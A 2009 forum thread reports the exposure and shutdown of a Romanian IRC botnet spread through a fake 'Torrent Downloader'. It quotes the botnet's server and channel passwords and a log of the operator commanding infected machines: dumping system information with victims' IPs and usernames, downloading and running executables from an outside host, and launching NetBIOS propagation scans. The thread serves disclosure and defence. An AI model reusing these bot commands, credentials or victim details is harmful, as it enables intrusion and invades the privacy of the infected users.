Log In     RegMe         


How to shutdown a IRC botnet #2

']['€AM€LiT€ Forum - News, Reports and Alerts

 
AuthorMessage
 Vektor

  2009-05-27
  20:47:38
 
Quote
¨°o-OpChat-o°¨ wrote:
[20:51:11] <¨°o-OpChat-o°¨> *** PM Flood detected: Vrei sa downloadezi fara limita pe torrent? si dupa DC++? atuncia nu ai nimic mai usor de facut decat sa downloadezi acest program : http://79.112.133.113:81/Torrent%20Downloader.rar Sper sa fii multumit de el --- cZUli -- IP=' 79.112.133.113 ' Host='  ' User=' [RO]FwmAK '  


[RO]Tracker-Czone wrote:
[01:23:34] <[RO]Tracker-Czone> Vrei sa downloadezi fara limita pe torrent? si dupa DC++? atuncia nu ai nimic mai usor de facut decat sa downloadezi acest program : http://79.112.131.143:81/Torrent%20Downloader.rar Sper sa fii multumit de el --- uUuFz


Quote:
MåX_Måƒîº†µ 79.112.133.113, conectat: 2009-05-25 16:37:33 for 16 minutes 14 seconds
MåX_Måƒîº†µ 79.112.133.113, conectat: 2009-05-25 17:46:54 for 29 seconds
MåX_Måƒîº†µ 79.112.133.113, conectat: 2009-05-25 17:49:08 for 3 hours 59 minutes 43 seconds
MåX_Måƒîº†µ 79.112.131.143, conectat: 2009-05-26 20:20:46 for 1 minutes 12 seconds
MåX_Måƒîº†µ 79.112.131.143, conectat: 2009-05-26 20:29:59 for 50 minutes 59 seconds


  • Server address: dns-ronetwork.serveirc.com
  • Server password: maxhack98
  • Channel: #ronetwork
  • Channel password: maxhack98
  • Nickname prefix for bots: [-MaX-]-*


Quote:
[2009-05-26 18:41] *** Connected
[2009-05-26 18:41] *** Looking up your hostname
[2009-05-26 18:41] *** Checking Ident
[2009-05-26 18:41] *** Couldn't look up your hostname
[2009-05-26 18:41] *** No ident response
[2009-05-26 18:41] <my.server.name> Welcome to the Internet Relay Network [-MaX-]-769563
Your host is my.server.name, running version beware1.5.7
This server was created Tue Jul 13 2004 at 20:36:07 GMT
my.server.name beware1.5.7 dgikoswx biklmnoprstv
MAP SILENCE=15 WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE MODES=6 MAXCHANNELS=10 MAXBANS=45 :are supported by this server
NICKLEN=20 TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYPES=#& PREFIX=(ov)@+ CHANMODES=b,k,l,rimnpst CASEMAPPING=rfc1459 :are supported by this server
There are 13 users and 0 invisible on 1 servers
1 :channels formed
I have 13 clients and 0 servers
[2009-05-26 18:41] *** [-MaX-]-769563 Highest connection count: 13 (13 clients)
[2009-05-26 18:41] <my.server.name> MOTD File is missing
[2009-05-26 18:41] *** [-MaX-]-769563 on 1 ca 1(4) ft 10(10)
[2009-05-26 18:41] <my.server.name> Unknown MODE flag
[2009-05-26 18:44] <MaX> .login maxhack98
[2009-05-26 18:44] <[-MaX-]-686812> [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
[2009-05-26 18:44] <[-MaX-]-359565> [MAIN]: Password accepted.
- [MAIN]: Password accepted.
[2009-05-26 18:44] <[-MaX-]-554431> [MAIN]: Password accepted.
[2009-05-26 18:50] <MaX> .sysinfo
[2009-05-26 18:50] <[-MaX-]-686812> [SYSINFO]: [CPU]: 2500MHz. [RAM]: 2,095,532KB total, 2,095,532KB free. [Disk]: 20,482,840KB total, 6,056,704KB free. [OS]: Windows XP (Service Pack 2) (5.1, Build 2600). [Sysdir]: C:\WINDOWS\system32. [Hostname]: georgian-28651d (86.121.247.184). [Current User]: ?. [Date]: 26:May:2009. [Time]: 18:42:28. [Uptime]: 0d 12h 33m.
[2009-05-26 18:50] <[-MaX-]-455515> [SYSINFO]: [CPU]: 1775MHz. [RAM]: 2,097,151KB total, 2,097,151KB free. [Disk]: 20,482,840KB total, 8,081,376KB free. [OS]: Windows XP (Service Pack 2) (5.1, Build 2600). [Sysdir]: C:\WINDOWS\system32. [Hostname]: my-5b2d1e43d215 (89.115.160.203). [Current User]: Sorin. [Date]: 26:May:2009. [Time]: 18:42:32. [Uptime]: 0d 0h 14m.
- [SYSINFO]: [CPU]: 2000MHz. [RAM]: 981,360KB total, 981,360KB free. [Disk]: 51,199,120KB total, 9,866,476KB free. [OS]: Windows XP (Service Pack 2) (5.1, Build 2600). [Sysdir]: C:\WINDOWS\system32. [Hostname]: LastXP16 (85.122.69.166). [Current User]: Administrator. [Date]: 26:May:2009. [Time]: 18:43:00. [Uptime]: 0d 0h 38m.
- [SYSINFO]: [CPU]: 2133MHz. [RAM]: 2,097,151KB total, 2,097,151KB free. [Disk]: 71,681,996KB total, 2,349,644KB free. [OS]: Windows XP (Service Pack 2) (5.1, Build 2600). [Sysdir]: C:\WINDOWS\system32. [Hostname]: home-cdbaa9f7a6.lan (192.168.1.64). [Current User]: ww. [Date]: 26:May:2009. [Time]: 18:42:31. [Uptime]: 0d 1h 39m.
- [SYSINFO]: [CPU]: 2533MHz. [RAM]: 2,086,316KB total, 2,086,316KB free. [Disk]: 38,909,396KB total, 23,486,636KB free. [OS]: Windows XP (Service Pack 2) (5.1, Build 2600). [Sysdir]: C:\WINDOWS\system32. [Hostname]: ionut-9d2b5306a (89.42.232.182). [Current User]: ?. [Date]: 26:May:2009. [Time]: 06:42:04. [Uptime]: 0d 3h 3m.
- [SYSINFO]: [CPU]: 3075MHz. [RAM]: 457,200KB total, 457,200KB free. [Disk]: 25,599,544KB total, 17,608,208KB free. [OS]: Windows XP (Service Pack 2) (5.1, Build 2600). [Sysdir]: C:\WINDOWS\system32. [Hostname]: viola (79.114.50.40). [Current User]: raduviola. [Date]: 26:May:2009. [Time]: 18:42:46. [Uptime]: 0d 2h 59m.
[2009-05-26 18:50] <[-MaX-]-554431> [SYSINFO]: [CPU]: 2200MHz. [RAM]: 2,096,624KB total, 2,096,624KB free. [Disk]: 78,140,128KB total, 51,041,548KB free. [OS]: Windows XP (Service Pack 3) (5.1, Build 2600). [Sysdir]: C:\WINDOWS\system32. [Hostname]: corp-1.lan (89.123.62.28). [Current User]: mihai. [Date]: 26:May:2009. [Time]: 18:40:18. [Uptime]: 0d 0h 28m.
- [SYSINFO]: [CPU]: 2500MHz. [RAM]: 2,095,572KB total, 2,095,572KB free. [Disk]: 51,199,996KB total, 14,920,064KB free. [OS]: Windows ??? (Service Pack 1) (6.0, Build 6001). [Sysdir]: C:\Windows\system32. [Hostname]: dan-PC (86.121.82.182). [Current User]: dan. [Date]: 26:May:2002. [Time]: 06:39:46. [Uptime]: 0d 1h 10m.
- [SYSINFO]: [CPU]: 800MHz. [RAM]: 456,680KB total, 456,680KB free. [Disk]: 40,957,684KB total, 2,878,560KB free. [OS]: Windows XP (Service Pack 2) (5.1, Build 2600). [Sysdir]: C:\WINDOWS\system32. [Hostname]: sketis-11229343 (79.117.118.145). [Current User]: Constantin. [Date]: 26:May:2009. [Time]: 18:42:36. [Uptime]: 0d 0h 38m.
[2009-05-26 18:50] <[-MaX-]-070294> [SYSINFO]: [CPU]: 925MHz. [RAM]: 260,528KB total, 260,528KB free. [Disk]: 20,971,408KB total, 7,383,960KB free. [OS]: Windows XP (Service Pack 2) (5.1, Build 2600). [Sysdir]: C:\WINDOWS\system32. [Hostname]: home-f8c6047fda (86.123.192.158). [Current User]: Marius. [Date]: 26:May:2009. [Time]: 18:42:35. [Uptime]: 0d 2h 11m.
[2009-05-26 18:50] <[-MaX-]-633840> [SYSINFO]: [CPU]: 1400MHz. [RAM]: 1,047,856KB total, 1,047,856KB free. [Disk]: 20,482,840KB total, 13,869,176KB free. [OS]: Windows XP (Service Pack 2) (5.1, Build 2600). [Sysdir]: C:\WINDOWS\system32. [Hostname]: home-982267ae29 (95.76.194.144). [Current User]: ADRIAN. [Date]: 26:May:2009. [Time]: 18:33:36. [Uptime]: 0d 1h 59m.
[2009-05-26 18:50] <[-MaX-]-359565> [SYSINFO]: [CPU]: 3025MHz. [RAM]: 523,756KB total, 523,756KB free. [Disk]: 41,985,844KB total, 24,527,712KB free. [OS]: Windows XP (Service Pack 3) (5.1, Build 2600). [Sysdir]: C:\WINDOWS\system32. [Hostname]: xxx-e5d0b6adb9d (172.16.21.15). [Current User]: user. [Date]: 26:May:2009. [Time]: 18:42:21. [Uptime]: 0d 1h 51m.
[2009-05-26 18:54] <MaX> .download http://79.112.132.25:81/Torrent%20Downloader.exe c:\windows\system32\winsmgs.exe 1
[2009-05-26 18:54] <[-MaX-]-686812> [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/Torrent%20Downloader.exe to: c:\windows\system32\winsmgs.exe.
- [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/Torrent%20Downloader.exe to: c:\windows\system32\winsmgs.exe.
- [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/Torrent%20Downloader.exe to: c:\windows\system32\winsmgs.exe.
- [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/Torrent%20Downloader.exe to: c:\windows\system32\winsmgs.exe.
- [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/Torrent%20Downloader.exe to: c:\windows\system32\winsmgs.exe.
- [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/Torrent%20Downloader.exe to: c:\windows\system32\winsmgs.exe.
- [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/Torrent%20Downloader.exe to: c:\windows\system32\winsmgs.exe.
- [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/Torrent%20Downloader.exe to: c:\windows\system32\winsmgs.exe.
[2009-05-26 18:54] <[-MaX-]-070294> [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/Torrent%20Downloader.exe to: c:\windows\system32\winsmgs.exe.
- [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/Torrent%20Downloader.exe to: c:\windows\system32\winsmgs.exe.
[2009-05-26 18:54] <[-MaX-]-686812> [DOWNLOAD]: Downloaded 347.3 KB to c:\windows\system32\winsmgs.exe @ 347.3 KB/sec.
[2009-05-26 18:54] <[-MaX-]-686812> [DOWNLOAD]: Opened: c:\windows\system32\winsmgs.exe.
[2009-05-26 18:54] <[-MaX-]-633840> [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/Torrent%20Downloader.exe to: c:\windows\system32\winsmgs.exe.
- [DOWNLOAD]: Downloaded 347.3 KB to c:\windows\system32\winsmgs.exe @ 173.7 KB/sec.
- [DOWNLOAD]: Downloaded 347.3 KB to c:\windows\system32\winsmgs.exe @ 173.7 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\system32\winsmgs.exe.
[2009-05-26 18:54] <[-MaX-]-070294> [DOWNLOAD]: Downloaded 347.3 KB to c:\windows\system32\winsmgs.exe @ 347.3 KB/sec.
[2009-05-26 18:54] <[-MaX-]-070294> [DOWNLOAD]: Opened: c:\windows\system32\winsmgs.exe.
[2009-05-26 18:54] <[-MaX-]-967700> [DOWNLOAD]: Downloaded 347.3 KB to c:\windows\system32\winsmgs.exe @ 173.7 KB/sec.
[2009-05-26 18:54] <[-MaX-]-967700> [DOWNLOAD]: Opened: c:\windows\system32\winsmgs.exe.
[2009-05-26 18:54] <[-MaX-]-781848> [DOWNLOAD]: Opened: c:\windows\system32\winsmgs.exe.
[2009-05-26 18:54] <[-MaX-]-455515> [DOWNLOAD]: Downloaded 347.3 KB to c:\windows\system32\winsmgs.exe @ 31.6 KB/sec.
[2009-05-26 18:54] <[-MaX-]-455515> [DOWNLOAD]: Opened: c:\windows\system32\winsmgs.exe.
[2009-05-26 18:54] <[-MaX-]-554431> [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/Torrent%20Downloader.exe to: c:\windows\system32\winsmgs.exe.
[2009-05-26 18:54] <[-MaX-]-075439> [DOWNLOAD]: Downloaded 347.3 KB to c:\windows\system32\winsmgs.exe @ 28.9 KB/sec.
[2009-05-26 18:54] <[-MaX-]-075439> [DOWNLOAD]: Opened: c:\windows\system32\winsmgs.exe.
[2009-05-26 18:54] <[-MaX-]-681280> [DOWNLOAD]: Downloaded 347.3 KB to c:\windows\system32\winsmgs.exe @ 23.2 KB/sec.
[2009-05-26 18:54] <[-MaX-]-681280> [DOWNLOAD]: Opened: c:\windows\system32\winsmgs.exe.
[2009-05-26 18:54] <[-MaX-]-543351> [DOWNLOAD]: Downloaded 347.3 KB to c:\windows\system32\winsmgs.exe @ 19.3 KB/sec.
[2009-05-26 18:54] <[-MaX-]-543351> [DOWNLOAD]: Opened: c:\windows\system32\winsmgs.exe.
[2009-05-26 18:54] <[-MaX-]-554431> [DOWNLOAD]: Downloaded 347.3 KB to c:\windows\system32\winsmgs.exe @ 43.4 KB/sec.
[2009-05-26 18:54] <[-MaX-]-554431> [DOWNLOAD]: Opened: c:\windows\system32\winsmgs.exe.
[2009-05-26 18:54] <[-MaX-]-359565> [DOWNLOAD]: Downloaded 347.3 KB to c:\windows\system32\winsmgs.exe @ 18.3 KB/sec.
[2009-05-26 18:54] <[-MaX-]-633840> [DOWNLOAD]: Downloaded 347.3 KB to c:\windows\system32\winsmgs.exe @ 15.8 KB/sec.
[2009-05-26 18:54] <[-MaX-]-633840> [DOWNLOAD]: Opened: c:\windows\system32\winsmgs.exe.
[2009-05-26 18:54] <[-MaX-]-359565> [DOWNLOAD]: Opened: c:\windows\system32\winsmgs.exe.
[2009-05-26 18:55] <MaX> .update http://79.112.132.25:81/Torrent%20Downloader.exe mouse1
[2009-05-26 18:55] <[-MaX-]-543351> [DOWNLOAD]: Downloaded 347.3KB to C:\DOCUME~1\ww\LOCALS~1\Temp\pqngjgr.exe @ 347.3KB/sec. Updating.
- [DOWNLOAD]: Downloaded 347.3KB to C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\sijugxzz.exe @ 347.3KB/sec. Updating.
- [DOWNLOAD]: Downloaded 347.3KB to C:\DOCUME~1\Sorin\LOCALS~1\Temp\qvtuhrgo.exe @ 347.3KB/sec. Updating.
- [DOWNLOAD]: Downloaded 347.3KB to C:\Windows\Temp\pwdlkd.exe @ 347.3KB/sec. Updating.
- [DOWNLOAD]: Downloaded 347.3KB to C:\Users\dan\AppData\Local\Temp\sggmyvoi.exe @ 347.3KB/sec. Updating.
- [DOWNLOAD]: Downloaded 347.3KB to C:\DOCUME~1\Marius\LOCALS~1\Temp\pvrbnj.exe @ 347.3KB/sec. Updating.
- [DOWNLOAD]: Downloaded 347.3KB to C:\DOCUME~1\IONUT~1.ION\LOCALS~1\Temp\kuwvavqb.exe @ 347.3KB/sec. Updating.
- [UPDATE]: Downloading update from: http://79.112.132.25:81/Torrent%20Downloader.exe.
- [UPDATE]: Downloading update from: http://79.112.132.25:81/Torrent%20Downloader.exe.
[2009-05-26 18:55] <[-MaX-]-075439> [UPDATE]: Downloading update from: http://79.112.132.25:81/Torrent%20Downloader.exe.
- [UPDATE]: Downloading update from: http://79.112.132.25:81/Torrent%20Downloader.exe.
- [UPDATE]: Downloading update from: http://79.112.132.25:81/Torrent%20Downloader.exe.
- [UPDATE]: Downloading update from: http://79.112.132.25:81/Torrent%20Downloader.exe.
- [UPDATE]: Downloading update from: http://79.112.132.25:81/Torrent%20Downloader.exe.
[2009-05-26 18:55] <[-MaX-]-070294> [UPDATE]: Downloading update from: http://79.112.132.25:81/Torrent%20Downloader.exe.
- [UPDATE]: Downloading update from: http://79.112.132.25:81/Torrent%20Downloader.exe.
- [UPDATE]: Downloading update from: http://79.112.132.25:81/Torrent%20Downloader.exe.
- [UPDATE]: Downloading update from: http://79.112.132.25:81/Torrent%20Downloader.exe.
[2009-05-26 18:55] <[-MaX-]-967700> [DOWNLOAD]: Downloaded 347.3KB to C:\DOCUME~1\CONSTA~1\LOCALS~1\Temp\ydobkvwc.exe @ 347.3KB/sec. Updating.
- [DOWNLOAD]: Downloaded 347.3KB to C:\DOCUME~1\mihai\LOCALS~1\Temp\bcyhel.exe @ 347.3KB/sec. Updating.
- [DOWNLOAD]: Downloaded 347.3KB to C:\DOCUME~1\RADUVI~1\LOCALS~1\Temp\scltdout.exe @ 347.3KB/sec. Updating.
[2009-05-26 18:55] <[-MaX-]-359565> [DOWNLOAD]: Downloaded 347.3KB to C:\DOCUME~1\user\LOCALS~1\Temp\hnlpzhmf.exe @ 347.3KB/sec. Updating.
[2009-05-26 18:55] <[-MaX-]-633840> [UPDATE]: Downloading update from: http://79.112.132.25:81/Torrent%20Downloader.exe.
[2009-05-26 18:55] <[-MaX-]-633840> [DOWNLOAD]: Downloaded 347.3KB to C:\DOCUME~1\ADRIAN\LOCALS~1\Temp\tijmhp.exe @ 347.3KB/sec. Updating.
[2009-05-26 19:03] <MaX> .stats
[2009-05-26 19:03] <[-MaX-]-343813> [Scn]: Exploit Statistics: NetBios: 0, NTPass: 0, Dcom135: 0, Dcom1025: 0, Dcom2: 0, MSSQL: 0, lsass: 0, Total: 0 in 0d 0h 51m.
- [Scn]: Exploit Statistics: NetBios: 0, NTPass: 0, Dcom135: 0, Dcom1025: 0, Dcom2: 0, MSSQL: 0, lsass: 0, Total: 0 in 0d 1h 22m.
- [Scn]: Exploit Statistics: NetBios: 0, NTPass: 0, Dcom135: 0, Dcom1025: 0, Dcom2: 0, MSSQL: 0, lsass: 0, Total: 0 in 0d 0h 2m.
- [Scn]: Exploit Statistics: NetBios: 0, NTPass: 0, Dcom135: 0, Dcom1025: 0, Dcom2: 0, MSSQL: 0, lsass: 0, Total: 0 in 0d 1h 26m.
- [Scn]: Exploit Statistics: NetBios: 0, NTPass: 0, Dcom135: 0, Dcom1025: 0, Dcom2: 0, MSSQL: 0, lsass: 0, Total: 0 in 0d 1h 52m.
- [Scn]: Exploit Statistics: NetBios: 0, NTPass: 0, Dcom135: 0, Dcom1025: 0, Dcom2: 0, MSSQL: 0, lsass: 0, Total: 0 in 0d 0h 50m.
- [Scn]: Exploit Statistics: NetBios: 0, NTPass: 0, Dcom135: 0, Dcom1025: 0, Dcom2: 0, MSSQL: 0, lsass: 0, Total: 0 in 0d 0h 27m.
- [Scn]: Exploit Statistics: NetBios: 0, NTPass: 0, Dcom135: 0, Dcom1025: 0, Dcom2: 0, MSSQL: 0, lsass: 0, Total: 0 in 0d 0h 25m.
- [Scn]: Exploit Statistics: NetBios: 0, NTPass: 0, Dcom135: 0, Dcom1025: 0, Dcom2: 0, MSSQL: 0, lsass: 0, Total: 0 in 0d 2h 4m.
[2009-05-26 19:03] <[-MaX-]-134982> [Scn]: Exploit Statistics: NetBios: 0, NTPass: 0, Dcom135: 0, Dcom1025: 0, Dcom2: 0, MSSQL: 0, lsass: 0, Total: 0 in 0d 0h 7m.
- [Scn]: Exploit Statistics: NetBios: 0, NTPass: 0, Dcom135: 0, Dcom1025: 0, Dcom2: 0, MSSQL: 0, lsass: 0, Total: 0 in 0d 1h 0m.
[2009-05-26 19:03] <[-MaX-]-134453> [Scn]: Exploit Statistics: NetBios: 0, NTPass: 0, Dcom135: 0, Dcom1025: 0, Dcom2: 0, MSSQL: 0, lsass: 0, Total: 0 in 0d 2h 3m.
[2009-05-26 19:03] <[-MaX-]-917117> [Scn]: Exploit Statistics: NetBios: 0, NTPass: 0, Dcom135: 0, Dcom1025: 0, Dcom2: 0, MSSQL: 0, lsass: 0, Total: 0 in 0d 1h 30m.
[2009-05-26 19:03] <[-MaX-]-761622> [Scn]: Exploit Statistics: NetBios: 0, NTPass: 0, Dcom135: 0, Dcom1025: 0, Dcom2: 0, MSSQL: 0, lsass: 0, Total: 0 in 0d 0h 33m.
[2009-05-26 19:04] <MaX> .advscan netbios 100 5 1 -b -r
[2009-05-26 19:04] <[-MaX-]-137127> [SCAN]: Random Port Scan started on 86.121.x.x:139 with a delay of 5 seconds for 1 minutes using 100 threads.
- [SCAN]: Random Port Scan started on 192.168.x.x:139 with a delay of 5 seconds for 1 minutes using 100 threads.
- [SCAN]: Random Port Scan started on 192.168.x.x:139 with a delay of 5 seconds for 1 minutes using 100 threads.
- [SCAN]: Random Port Scan started on 86.121.x.x:139 with a delay of 5 seconds for 1 minutes using 100 threads.
- [SCAN]: Random Port Scan started on 79.114.x.x:139 with a delay of 5 seconds for 1 minutes using 100 threads.
- [SCAN]: Random Port Scan started on 89.115.x.x:139 with a delay of 5 seconds for 1 minutes using 100 threads.
- [SCAN]: Random Port Scan started on 85.122.x.x:139 with a delay of 5 seconds for 1 minutes using 100 threads.
- [SCAN]: Random Port Scan started on 78.97.x.x:139 with a delay of 5 seconds for 1 minutes using 100 threads.
- [SCAN]: Random Port Scan started on 89.42.x.x:139 with a delay of 5 seconds for 1 minutes using 100 threads.
- [SCAN]: Random Port Scan started on 89.123.x.x:139 with a delay of 5 seconds for 1 minutes using 100 threads.
[2009-05-26 19:04] <[-MaX-]-314032> [SCAN]: Random Port Scan started on 86.123.x.x:139 with a delay of 5 seconds for 1 minutes using 100 threads.
[2009-05-26 19:04] <[-MaX-]-343813> [SCAN]: Random Port Scan started on 79.117.x.x:139 with a delay of 5 seconds for 1 minutes using 100 threads.
[2009-05-26 19:04] <[-MaX-]-134453> [SCAN]: Random Port Scan started on 172.16.x.x:139 with a delay of 5 seconds for 1 minutes using 100 threads.
[2009-05-26 19:04] <[-MaX-]-917117> [SCAN]: Random Port Scan started on 95.76.x.x:139 with a delay of 5 seconds for 1 minutes using 100 threads.
[2009-05-26 19:04] <MaX> la asta
[2009-05-26 19:04] <MaX> daca merge netbios
[2009-05-26 19:04] <MaX> se raspandesc singuri
[2009-05-26 19:05] <[-MaX-]-137127> [SCAN]: Finished at 86.121.47.97:139 after 1 minute(s) of scanning.
[2009-05-26 19:05] <[-MaX-]-881176> [SCAN]: Finished at 192.168.161.84:139 after 1 minute(s) of scanning.
- [SCAN]: Finished at 89.42.187.219:139 after 1 minute(s) of scanning.
- [SCAN]: Finished at 78.97.117.159:139 after 1 minute(s) of scanning.
- [SCAN]: Finished at 192.168.160.103:139 after 1 minute(s) of scanning.
- [SCAN]: Finished at 86.121.76.29:139 after 1 minute(s) of scanning.
- [SCAN]: Finished at 89.115.171.14:139 after 1 minute(s) of scanning.
- [SCAN]: Finished at 85.122.143.156:139 after 1 minute(s) of scanning.
[2009-05-26 19:05] <[-MaX-]-314032> [SCAN]: Finished at 86.123.45.145:139 after 1 minute(s) of scanning.
- [SCAN]: Finished at 79.117.138.10:139 after 1 minute(s) of scanning.
[2009-05-26 19:05] <[-MaX-]-119797> [SCAN]: Finished at 79.114.214.232:139 after 1 minute(s) of scanning.
- [SCAN]: Finished at 95.76.232.182:139 after 1 minute(s) of scanning.
[2009-05-26 19:05] <[-MaX-]-761622> [SCAN]: Finished at 89.123.228.232:139 after 1 minute(s) of scanning.
[2009-05-26 19:05] <[-MaX-]-134453> [SCAN]: Finished at 172.16.201.126:139 after 1 minute(s) of scanning.
[2009-05-26 19:05] <MaX> .findpass
[2009-05-26 19:05] <[-MaX-]-343813> [FINDPASS]: Only supported on Windows NT/2000.
- [FINDPASS]: Only supported on Windows NT/2000.
- [FINDPASS]: Only supported on Windows NT/2000.
- [FINDPASS]: Only supported on Windows NT/2000.
- [FINDPASS]: Only supported on Windows NT/2000.
- [FINDPASS]: Only supported on Windows NT/2000.
- [FINDPASS]: Only supported on Windows NT/2000.
- [FINDPASS]: Only supported on Windows NT/2000.
- [FINDPASS]: Only supported on Windows NT/2000.
- [FINDPASS]: Only supported on Windows NT/2000.
- [FINDPASS]: Only supported on Windows NT/2000.
- [FINDPASS]: Only supported on Windows NT/2000.
[2009-05-26 19:05] <[-MaX-]-134453> [FINDPASS]: Only supported on Windows NT/2000.
[2009-05-26 19:05] <[-MaX-]-917117> [FINDPASS]: Only supported on Windows NT/2000.
[2009-05-26 19:05] <MaX> pft nu merge :))
[2009-05-26 19:05] <MaX> cum ;)
[2009-05-26 19:05] <MaX> e bun oricum*
[2009-05-26 19:05] <MaX> ai sa mai incercam cu download
[2009-05-26 19:06] <MaX> :))
[2009-05-26 19:09] <MaX> http://79.112.132.25:81/123.exe
[2009-05-26 19:10] <MaX> .download http://79.112.132.25:81/123.exe c:\windows\blabla.exe 1
[2009-05-26 19:10] <[-MaX-]-343813> [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/123.exe to: c:\windows\blabla.exe.
- [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/123.exe to: c:\windows\blabla.exe.
- [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/123.exe to: c:\windows\blabla.exe.
- [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/123.exe to: c:\windows\blabla.exe.
- [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/123.exe to: c:\windows\blabla.exe.
- [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/123.exe to: c:\windows\blabla.exe.
- [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/123.exe to: c:\windows\blabla.exe.
- [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/123.exe to: c:\windows\blabla.exe.
- [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/123.exe to: c:\windows\blabla.exe.
[2009-05-26 19:10] <[-MaX-]-761622> [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/123.exe to: c:\windows\blabla.exe.
- [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/123.exe to: c:\windows\blabla.exe.
- [DOWNLOAD]: Bad URL, or DNS Error: http://79.112.132.25:81/123.exe.
- [DOWNLOAD]: Bad URL, or DNS Error: http://79.112.132.25:81/123.exe.
- [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/123.exe to: c:\windows\blabla.exe.
[2009-05-26 19:10] <[-MaX-]-134982> [DOWNLOAD]: Bad URL, or DNS Error: http://79.112.132.25:81/123.exe.
- [DOWNLOAD]: Bad URL, or DNS Error: http://79.112.132.25:81/123.exe.
- [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/123.exe to: c:\windows\blabla.exe.
- [DOWNLOAD]: Bad URL, or DNS Error: http://79.112.132.25:81/123.exe.
- [DOWNLOAD]: Bad URL, or DNS Error: http://79.112.132.25:81/123.exe.
[2009-05-26 19:10] <[-MaX-]-343813> [DOWNLOAD]: Downloaded 347.3 KB to c:\windows\blabla.exe @ 347.3 KB/sec.
[2009-05-26 19:10] <[-MaX-]-137127> [DOWNLOAD]: Downloaded 347.3 KB to c:\windows\blabla.exe @ 347.3 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\blabla.exe.
- [DOWNLOAD]: Opened: c:\windows\blabla.exe.
[2009-05-26 19:10] <[-MaX-]-314032> [DOWNLOAD]: Downloaded 347.3 KB to c:\windows\blabla.exe @ 347.3 KB/sec.
- [DOWNLOAD]: Downloaded 347.3 KB to c:\windows\blabla.exe @ 347.3 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\blabla.exe.
[2009-05-26 19:10] <[-MaX-]-681554> [DOWNLOAD]: Opened: c:\windows\blabla.exe.
[2009-05-26 19:10] <[-MaX-]-917117> [DOWNLOAD]: Downloading URL: http://79.112.132.25:81/123.exe to: c:\windows\blabla.exe.
[2009-05-26 19:10] <[-MaX-]-596995> [DOWNLOAD]: Downloaded 347.3 KB to c:\windows\blabla.exe @ 49.6 KB/sec.
[2009-05-26 19:10] <[-MaX-]-596995> [DOWNLOAD]: Opened: c:\windows\blabla.exe.
[2009-05-26 19:10] <[-MaX-]-881176> [DOWNLOAD]: Downloaded 347.3 KB to c:\windows\blabla.exe @ 34.7 KB/sec.
[2009-05-26 19:10] <[-MaX-]-881176> [DOWNLOAD]: Opened: c:\windows\blabla.exe.
[2009-05-26 19:10] <[-MaX-]-134453> [DOWNLOAD]: Downloaded 347.3 KB to c:\windows\blabla.exe @ 34.7 KB/sec.
[2009-05-26 19:10] <[-MaX-]-134453> [DOWNLOAD]: Opened: c:\windows\blabla.exe.
[2009-05-26 19:10] <[-MaX-]-917117> [DOWNLOAD]: Downloaded 347.3 KB to c:\windows\blabla.exe @ 21.7 KB/sec.
[2009-05-26 19:10] <[-MaX-]-917117> [DOWNLOAD]: Opened: c:\windows\blabla.exe.
[2009-05-26 19:11] *** Disconnected


The file 123.exe is version 2 for that trojan with other connection settings.

  • Server address: dns-ronetwork.serveirc.com:28829
  • Server password: maxbot677
  • Channel: #ronetwork
  • Channel password: maxbot677
  • Nickname prefix for bots: [-X-]-*


Quote:
:my.server.name 501 [-X-]-180188 :Unknown MODE flag
:my.server.name 501 [-X-]-180188 :Unknown MODE flag
:[-X-]-180188!~jjandx@ JOIN :#ronetwork
:my.server.name 353 [-X-]-180188 = #ronetwork :[-X-]-180188 [-X-]-466449 [-X-]-290534 [-X-]-134409 [-X-]-557654 [-X-]-160301 [-X-]-740590 MaX [-X-]-894868 [-X-]-783702 [-X-]-451884 [-X-]-073791 [-X-]-348112
:my.server.name 366 [-X-]-180188 #ronetwork :End of /NAMES list.


The address for both botnet servers, dns-ronetwork.serveirc.com was banned by no-ip.

-TE- wrote:
[19:07] <-TE-> The address dns-ronetwork.serveirc.com changed the IP from 79.112.136.186 to 0.0.0.0 (botnet server)

____________________
 DrEinstein

  2009-06-09
  01:58:03
 
Quote
In addition to closed MåX_Måƒîº†µ's botnet some time ago:

Quote:
[2009-06-08 00:27:21] <Sylvestre>  I received that RxBot to compile
...
[2009-06-08 00:29:37] <Sylvestre> elite team

Quote:
[2009-06-08 14:59:50] <DrEinstein> Yesterday yuu said that you compiled that RxBot
[2009-06-08 14:59:59] <DrEinstein> Who did you give it to after you compiled it
[2009-06-08 15:00:04] <DrEinstein> I need a list of nicks
[2009-06-08 15:01:20] <IronRobot> but only the max ... who knows where is it
[2009-06-08 15:02:55] <DrEinstein> Where is what?
